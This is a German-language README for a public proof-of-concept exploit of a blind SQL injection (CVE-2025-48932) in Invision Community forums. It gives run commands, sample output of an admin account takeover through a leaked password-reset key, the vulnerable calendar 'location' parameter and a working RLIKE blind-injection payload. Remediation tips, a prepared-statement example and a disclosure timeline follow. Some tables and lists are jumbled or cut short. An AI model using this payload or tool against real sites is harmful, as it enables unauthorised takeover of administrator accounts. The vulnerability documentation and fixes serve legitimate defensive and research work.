
Proof-of-Concept-Exploit für CVE-2025-48932, eine SQL-Injection in Invision Community <= 4.7.20. Extrahiert Admin-Anmeldedaten mittels Blind-SQL-Injection und Passwort-Reset-Schlüssel zur Kontoübernahme.
Ein Proof-of-Concept-Exploit, der eine SQL-Injection-Schwachstelle in Invision Community Versionen <= 4.7.20 demonstriert.
Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests vorgesehen.
CVE-ID: CVE-2025-48932
Schweregrad: Hoch
CVSS-Score: Noch offen
Betroffene Versionen: Invision Community 4.x vor 4.7.21
Die Schwachstelle besteht im Skript /applications/calendar/modules/front/calendar/view.php. Benutzereingaben, die über den Parameter location in der Methode IPS\calendar\modules\front\calendar\view::search() übergeben werden, werden vor der Verwendung in SQL-Abfragen nicht ordnungsgemäß bereinigt.
Dies erlaubt entfernten, nicht authentifizierten Angreifern Folgendes:
Voraussetzungen für die Ausnutzung:
Hinweis: Während SQL-Injection-Schwachstellen in Invision Community 4.x Versionen < 4.7.18 zu Admin-Kontoübernahme und RCE durch Zurücksetzen des Admin-Passworts führen konnten, wurde in Version 4.7.18 ein neuer Sicherheitsverschlüsselungsschlüssel im Mechanismus zum Zurücksetzen von Passwörtern eingeführt, was diesen Angriffsvektor erschwert.
Repository klonen:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
Abhängigkeiten installieren:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Ziel: http://example.com/forum/
==================================================
[*] CSRF-Token abrufen...
[+] CSRF-Token gefunden: abc123def456...
[*] Schritt 1: Admin-E-Mail-Adresse extrahieren...
[*] Daten extrahieren: [email protected]
[+] Admin-E-Mail: [email protected]
[!] Schritt 2: Manuelle Aktion erforderlich!
Bitte führen Sie diese Schritte aus:
1. Navigieren Sie zu: http://example.com/forum/index.php?/lostpassword/
2. Fordern Sie ein Passwort-Reset mit der E-Mail an: [email protected]
3. Drücken Sie ENTER, wenn fertig...
[*] Schritt 3: Validierungsschlüssel für Passwort-Reset extrahieren...
[*] Daten extrahieren: xyz789abc123...
[+] Reset-Schlüssel: xyz789abc123...
[*] Schritt 4: Admin-Passwort zurücksetzen...
==================================================
[+] AUSBEUTUNG ERFOLGREICH!
==================================================
Admin-Anmeldedaten:
E-Mail: [email protected]
Passwort: Pwned1721234567
Sie können sich jetzt anmelden unter: http://example.com/forum/index.php?/login/
Der Exploit funktioniert in vier Hauptschritten:
Das Skript ruft zunächst ein CSRF-Token von der Zielwebsite ab, das für nachfolgende Anfragen erforderlich ist.
Mithilfe eines binären Suchalgorithmus extrahiert der Exploit Daten Zeichen für Zeichen aus der Datenbank:
RLIKE-Funktion mit Regex-Mustern, um wahr/falsch-Bedingungen zu erkennenFragt die Tabelle core_members ab, um die E-Mail-Adresse des Administrators zu extrahieren.
Angriffspunkt:
location-Parameter → calendar/view.php → search()-Methode
Payload-Beispiel:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
Ausbeutungstechnik: Boolesche blinde SQL-Injection unter Verwendung binärer Suche zur effizienten Datenextraktion.
Sofortmaßnahmen:
Sichere Codierungspraktiken:
Beispiel für sicheren Code:
// Angreifbarer Code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Sicherer Code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| Datum | Ereignis |
|---|---|
| 16. Mai 2025 | Anbieter benachrichtigt |
| 27. Mai 2025 | Version 4.7.21 veröffentlicht |
| 28. Mai 2025 |
Entwickler:
Hinweis: Dies ist eine unabhängige Implementierung basierend auf öffentlich zugänglichen Informationen zur Schwachstelle (CVE-2025-48932)
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die LICENSE-Datei für Details.
Beiträge sind willkommen! Bitte zögern Sie nicht, einen Pull-Request einzureichen. Bei größeren Änderungen eröffnen Sie bitte zuerst ein Issue, um zu besprechen, was Sie ändern möchten.
Dieses Tool wird unter der MIT-Lizenz vertrieben. Durch die Nutzung dieser Software stimmen Sie zu:
Denken Sie daran: Unautorisierter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen eine Straftat und kann schwerwiegende rechtliche Konsequenzen haben.
Wenn Sie eine Sicherheitslücke entdecken, melden Sie sie bitte verantwortungsvoll dem Anbieter, bevor Sie sie öffentlich machen.
| Argument | Beschreibung | Erforderlich |
|---|
-u, --url | Ziel-URL der Invision Community | Ja |
-v, --verbose | Ausführliche Ausgabe für Debugging aktivieren | Nein |
-h, --help | Hilfemeldung anzeigen und beenden | Nein |
| CVE-Kennung beantragt |
| 28. Mai 2025 | CVE-2025-48932 zugewiesen |
| 23. Juli 2025 | Öffentliche Offenlegung |